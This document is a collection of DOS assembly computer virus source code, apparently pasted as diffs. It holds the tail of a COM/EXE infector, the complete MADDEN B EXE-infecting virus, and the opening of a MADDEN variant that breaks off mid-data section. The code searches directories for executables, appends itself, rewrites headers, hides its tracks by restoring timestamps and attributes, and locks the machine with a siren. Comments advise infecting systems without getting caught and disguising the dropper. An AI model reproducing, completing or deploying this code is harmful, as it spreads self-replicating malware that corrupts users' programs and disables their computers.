mov dx,offset(int_24)
int 21h
pop dx
pop ds
mov ax,4300h
int 21h ; Get attribs
push cx
push ds
push dx
xor cx,cx
mov ax,4301h ; Reset all attribs
int 21h
jb rest_atribs
mov ax,3d02h
call c_21 ; Open the file I/O
push cs
pop ds
xchg ax,bx ; bx:=handle
mov ax,5700h
int 21h ; Get time/date
push dx
push cx
mov ah,3fh
mov dx,offset(header)
mov cx,1Ch
int 21h ; Read file header
mov ax,val_ip
mov delta_ofs,ax
xchg bp,ax ; bp:=val_ip
cmp signature,'ZM' ; EXE?
je exe
; Assume it's a com
cmp byte ptr signature,0e9h ; jmp?
jne rest_hour
mov ax,word ptr signature+1 ; Offset jmp
add ax,3 ; Calculate file's offset
mov delta_ofs,ax
add delta_ofs,100h
xor dx,dx
xor cx,cx
jz exe&com
rest_hour: mov ax,5701h ; Restore date/time
pop cx
pop dx
int 21h
mov ah,3eh ; We close
int 21h
rest_atribs: mov ax,4301h ; Restore attribs
pop dx
pop ds ; ds:dx -> file name
pop cx
int 21h
pop ax ; ax:=2524h
pop dx
pop ds
int 21h
jmp end_21
exe:
mov ax,header_size
mov cx,16
mul cx ; ax:=header length
push ax
mov ax,val_cs
imul cx
add ax,bp ; bp:=val_ip
adc dx,0 ; dx:ax := cs:ip inside load module
mov cx,relo_items ; Number of reallocation items
jcxz items_ok
push cx
push ax
push dx
xor cx,cx ; Get on reallocation table
mov dx,ofs_reloc
mov ax,4200h
int 21h
pop dx
pop ax
read_items:
push ax
push dx
mov ah,3fh
mov dx,offset(original)
mov cx,20*4 ; Read 20 reallocaci¢n items
int 21h
mov si,dx
mov di,-20*4
pop dx
pop ax
process_item: pop cx
push bx
mov bx,[si]
cmpsw ; inc si, inc si, inc di, inc di
mov bp,[si]
cmpsw ; inc si, inc si, inc di, inc di
sub bx,ax
sbb bp,dx
jnz next_item
cmp bx,offset(ov_part) ; Is it part of code?
jnbe next_item
cmp bx,7 ; PkLite's code?
pop bx
jnz bad_item
push bx
next_item: dec cx
pop bx
jcxz items_ok
or di,di ; We need read more items?
push cx
jnz process_item
jz read_items
items_ok:
pop cx ; cx:= header length
exe&com: add ax,cx
adc dx,0 ; dx:ax := cs:ip offset in file
push ax
push dx
mov cx,dx
xchg ax,dx ; = mov dx,ax
mov ax,4200h
int 21h ; get on the entry point
mov ah,3fh
mov cx,offset(ov_part)
mov dx,offset(original)
int 21h ; Read original code
sub ax,cx ; Have enough space?
jc no_inf
cmp pages,'<>' ; Id mark is in offset 4
stc
je no_inf
mov ax,4202h ; Go to he end of file
xor cx,cx
cwd
int 21h
mov long_high,dx ; Save file-offset of code
mov long_low,ax
mov ah,40h ; 'Stick' to the file
mov cx,offset(end_vir)
mov dx,offset(ov_part)
int 21h
no_inf: pop cx
pop dx
jc alr_inf
mov reloc_pkl,0
mov ax,4200h
int 21h ; Return to cs:ip
mov ah,40h
mov cx,offset(ov_part)
cwd
int 21h ; Write new code on entry-point
push cx
bad_item: pop cx
alr_inf: jmp rest_hour
end_vir:
original:
header:
signature dw 20cdh
image_size dw ?
pages dw ?
relo_items dw ?
header_size dw ?
mim_mem dw ?
max_mem dw ?
stack_seg dw ?
stack_ofs dw ?
checksum dw ?
val_ip dw ?
val_cs dw ?
ofs_reloc dw ?
overlays dw ?
code ends
end start
@@ -0,0 +1,771 @@
;The MADDEN B virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
;MADDEN B also locks the pc into a 'siren' warble when it runs out
;of files to infect. MADDEN, included in this archive plays a fast country
;song. (MADDEN will assemble to an .file using a86, then link to produce
;infected .exe form)
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'MADDENB.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;------------------------------------------------------------------------
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
;MADDEN Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
COUNT1 DW 8 ;delay counts used by 'siren' routine
COUNT2 DW 3
COUNT3 DW 20
COUNT4 DW 10
;--------------------------------------------------------------------------
;MADDEN B virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz SIREN ;returned nz - no valid files left, siren time!
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate success/failure
;***************************************************************************
;This routine enables MADDEN B virus to sound a siren
;when it can't find a file to infect
;**************************************************************************
SIREN:
cli ;no interrupts
mov bp,15 ;we want to do hole thing 15 times
mov al,10110110xb ;set up channel 2
out 43h,al ;send it to port
AGIN: mov bx,500 ;start frequency high
BACKERX:mov ax,bx ;place it in (ax)
out 42h,al ;send LSB first
mov al,ah ;move MSB into al
out 42h,al ;send it next
in al,61h ;get value from port
or al,00000011xb ;ORing it will turn on speaker
out 61h,al ;send number
mov cx,COUNT1 ;number of delay loops
LOOPERX:loop LOOPERX ;so we can hear sound
inc bx ;increment (bx) lowers frequency pitch
cmp bx,4000 ;have we reached 4000
jnz BACKERX ;if not do again
BACKERY:mov ax,bx ;if not put (bx) in (ax)
out 42h,al ;send LSB to port
mov al,ah ;place MSB in al
out 42h,al ;send it now
in al,61h ;get value from port
or al,00000011xb ;lets OR it
out 61h,al ;time to turn on speaker
mov cx,COUNT2 ;loop count
LOOPERY:loop LOOPERY ;delay so we can hear sound
dec bx ;decrementing (bx) rises frequency pitch
cmp bx,500 ;have we reach 500
jnz BACKERY ;if not go back
mov si,COUNT3 ;place longer delay in (si)
mov di,COUNT4 ;place longer delay in (di)
push si ;push it on the stack
push di ;push it on the stack
mov si,COUNT1 ;place first delay in (si)
mov di,COUNT2 ;place second delay in (di)
mov COUNT3,si ;save 1st in COUNT3 for next exchange
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
pop di ;pop longer delay off stack
pop si ;pop longer delay off stack
mov COUNT2,di ;place it in the second
mov COUNT1,si ;place it in the first
dec bp ;decrement repeat count
jnz AGIN ;if not = 0 do hole thing again
in al,61h ;we be done
and al,11111100xb ;this number will turn speaker off
out 61h,al ;send it
sti ;enable interrupts
jmp SIREN
;--------------------------------------------------------------------------
;SEARCH FUNCTION
;---------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no - quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret
;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;no - valid directory, exit, setting Z flag
;else it was dir header entry, so fall through to next
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address again - may not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine
;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret
;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point to end of string 1
ret
;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly
;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0
;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening - C set - quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly
;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly
;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cxdx = position to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, then virus is not already in this file
stc ;else it is probably there already
II_RET: ret
;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
jz SB_E ;all set - exit
mov cx,10H ;no - write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret
;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H ;go to end of file
call SETBDY ;lengthen to a paragraph boundary if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being attacked with
mov ah,40H ;DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer relavtive to start of file
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
shr ax,cl
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
mov cl,4
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location= (No in table-2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
mov bx,OFFSET REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!
;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set
;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return
;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret
;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret
;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax
ret
;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret
FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;--------------------------------------------------------------------------
;Virus stack segment
VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS
END VIRUS ;Entry point is the virus
@@ -0,0 +1,805 @@
;The MADDEN virus is an EXE file infector which can jump from directory to
;directory. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
;MADDEN also locks the pc into a 'maddening' toon when it runs out
;of files to infect. (MADDEN can be assembled to an .obj file under a86,
;then linked to the 'infected' .exe form.)
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'MADDEN.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;------------------------------------------------------------------------
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
;MADDEN Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
